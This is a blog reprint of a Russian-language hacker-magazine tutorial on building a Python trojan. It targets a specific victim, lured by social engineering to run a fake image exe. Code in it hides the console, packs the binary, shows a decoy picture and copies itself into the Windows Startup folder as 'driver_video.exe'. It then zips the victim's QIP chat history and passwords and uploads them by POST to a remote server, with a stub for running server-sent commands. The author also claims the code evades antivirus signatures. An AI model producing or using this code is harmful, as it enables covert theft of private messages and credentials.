Троянский Змей

24 Січня 2010

Моя стаття з 12 випуска журналу Хакер, як завжди з помилками, і без виправлень.

Троянский Змей

Сказ о троянописании на Python'e

Когда-то Лёня Да Винчи скачал "Существует три разновидности людей: те, кто видит; те, кто видит, когда им показывают; и те, кто не видит". Но в наше время я бы еще добавил группу - те кто видят все, когда им это нужно. Чтобы в ней быть, нужно уметь получать любую информацию - это умение и будем развивать с помощью Python.

Один из вечных холиваров существует по поводу выбора языка програминга для троя. Одни кричат, что лишь на Asm'е пишется что-то нормальное. Другая групка молится на Си. И Дельфисты также не молчат о преимуществах именно их языка. Каждый из них абсолютно прав, ведь всегда найдется задача для которой конкретный язык идеально подойдет. В трояностроительном цеху Python'у также нашлось место, но ограниченое лишь мобильными девайсами. Это и понятно, ведь для запуска скрипта нужен интерпретатор, который почти нигда не установлен у жертвы на обычном компе. Только честно говоря это кажется проблемой лишь на первый взгляд и мы ее легко решим.

Нужно понимать что Python'новский троян целесообразно использовать лишь для точечных атак. К примеру такая задачка, 1 девченка типо блондинко, 1 аська типо qip и наше огромное желание почитать всю историю переписки. Используя социальную инженерию легко попросить посмотреть новую кульную картинку даже если она с расширением "exe" ;). Остается лишь самая малая задачка - сделать этот екзешник.

PyInstaller

На сайте http://pyinstaller.org/ хостится важнейшая тулза для будущего троя. Это набор скриптов, которые из обычного py-скрипта позволяют сделать exe-шник. Скачай ее с сайта или с диска и давай потестим. Пусть ты ее распаковал на диск D:, тогда сначала сконфигурируй: D:\pyinstaller> Configure.py

Теперь для теста в папке D:\test\ создай Питоновский скрипт test.py: print "OK" open("ok.txt","w").write('ok')

Создания exe-шника происходит в 2 этапа. Сначала скриптом Makespec.py записывается файл "spec" с параметрами "компиляции", а потом скрипт Build.py непосредственно создает exe. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но нам важны лишь такие: - "F", на выходе получим один лишь exe-шник; - "w", не показывать консоль, без этого параметра по-умолчанию программа запускается с консольным окном; - "X", использовать UPX для сжатия exe; - "--icon=file.ico", использовать указанную иконку.

Во время разработки желательно лишь использовать параметр "F" - чтобы был один файл и окно, где б мы видели ошибки, если они будут. А потом уже оттестированное приложение можно и запустить с остальными параметрами. Давай проверим все и скомпилим наш тестовый файл: D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py D:\pyinstaller> Build.py d:\pyinstaller\test\test.spec

Несколько секунд ожидания и результат работы в папке: d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4Мб, и если его запустить, то может показаться что ничего не сработало - так как не будет никакого окна. Хотя видим что ok.txt создается, значить все отлично работает. Теперь зная как создать exe-шник, можно б приступить к написанию скрипта трояна.

Картинка To String

Мы помним, что нашей блондинке должны показать крутую картинку, тоесть наш трой должен сначала показать картинку для правдоподобности, а потом уже копировать себя в автозагрузку и отослать нам архив с историей аськи. Поскольку все должно быть в одном py-файле, то чтобы в исходник трояна поместить картинку нужно ее сжать, а потом закинуть в base64 - чтобы была простой строкой. Немножко Питоновской магии с обьектом gzip.GzipFile, которому при создании указываем куда сохранять уже сжатые данные, и получаем такой код который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и уже строку-изображение сохраняет в rez_img.txt: import StringIO, gzip, base64 zbuf = StringIO.StringIO() zfile = gzip.GzipFile(mode='wb', fileobj=zbuf) zfile.write(open('my.jpg','rb').read()) zfile.close() open('rez_img.txt','w').write( base64.encodestring(zbuf.getvalue()) )

Теперь, имея строку-изображение начнем писать троя. И вначале файла troj.py поместим в переменную img нашу картинку с rez_img.txt, что примерно выглядит так с описанием логики приложения: img = ''' H4sIAMW28E... ''' import sys #если мы запущены первый раз if (sys.argv[0].find('Startup')==-1): #создать картинку из img и показать ее #узнать папку с автозагрузкой #скопировать себя в автозагрузка #создать архив qip и отослать на сервер else: #достать команду на сервере и исполнить ее

Где в начале мы проверям запущены мы с автозагрузки или нет. И если не из папки автозагрузки, то выполняем сначала отвлекающие действия.

String To Картинка To Блондинко

Розпаковка файла почти какая как и паковка расписанная више, поэтому эту часть лучше посмотреть в исходниках на диске. Лишь ньюанс, что файл картинки берем из названия нашего exeшника, чтобы уменьшить паливность: file_src = sys.argv[0] img_name= file_src.split('\\')[-1].split('.')[0] img_name += '.jpg'

Хотя вместо выше приведенного кода можно б использовать стандартную функцию для отделения имени от пути, но мне проще так, ежели лазить по справочнику. Картинка создана, остается лишь исполнить ее используя библиотеку subprocess: import subprocess subprocess.Popen(img_name, shell=True)

И поскольку указали shell=True картинка откроется так, как и при обычном дабл-кликом.

Автозапуск

Самый простой способ автозапуска нашей проги - скопировать себя в папку автозагрузки: import shutil shutil.copy(sys.argv[0], r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\driver_video.exe')

Как видим, учебный троян заточет лишь под английскую версию windows 7, поэтому для работы с другими версиями константы путей нужно поменять. Или их динамически вытаскивать с стандартных переменных Винды: %windir% %APPDATA% %TEMP% и другие. Полный список можеш глянуть, если в консоли напишеш команду "set", и эту же команду вместе с subprocess.Popen нужно юзать, чтобы из скрипта получить эти переменные.

Копируем все!

Теперь мы отвлекли внимание юзера, закрепились в автозагрузке и можем исполнить прямое наше назначение и отослать на сервер архив папки с историей и паролями qip'a - C:\Program Files\QIP\Users\.

Создадим в папке Temp архив заюзав библиотеку zipfile. Для этого создадим обьект zipfile.ZipFile и рекурсивно пройдемся по папки qip добавляя в архив все файлы: import zipfile def addToZip(zf, path, zippath): if os.path.isfile(path): zf.write(path, zippath, zipfile.ZIP_DEFLATED) elif os.path.isdir(path): for nm in os.listdir(path): addToZip(zf, os.path.join(path, nm), os.path.join(zippath, nm) ) zip_file = r'C:\Windows\Temp\system_files.zip' zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True) src = r'C:\Program Files\QIP\Users\\' addToZip(zf, src, os.path.basename(src)) zf.close()

Отослать получаный файл можно например через ftp, или послать post-запросом, как раз для второго воспользуемся библиотекой urllib2: from poster.encode import multipart_encode from poster.streaminghttp import register_openers import urllib2 register_openers() d,h=multipart_encode({"f": open(zip_file,"rb")}) request = urllib2.Request("http://s/f.php", d, h) urllib2.urlopen(request)

После написания этого наконец-то имеем рабочий троян, и можно создавать екзешник и предлагать скачать новую кульную картинку ;).

А есть ли будущее?

Резонный вопрос о будущем троянописании на Python'e, ведь размер полученого файла - вполне существенный. И это огромный минус. Но ведь плюсы также есть, такие как скорость написание и последующей модификации. А исходник можно очень легко шифровать и изменять по разному, что в следствии сигнатурный поиск антивирусов абсолютно безполезен. Быть или не быть - решать тебе. Если же будет нужна помощь, то ты знаеш где меня найти.

 
 
 
Роман Хоменко aka PresidentUA
mail/jabber: spirt40@gmail.com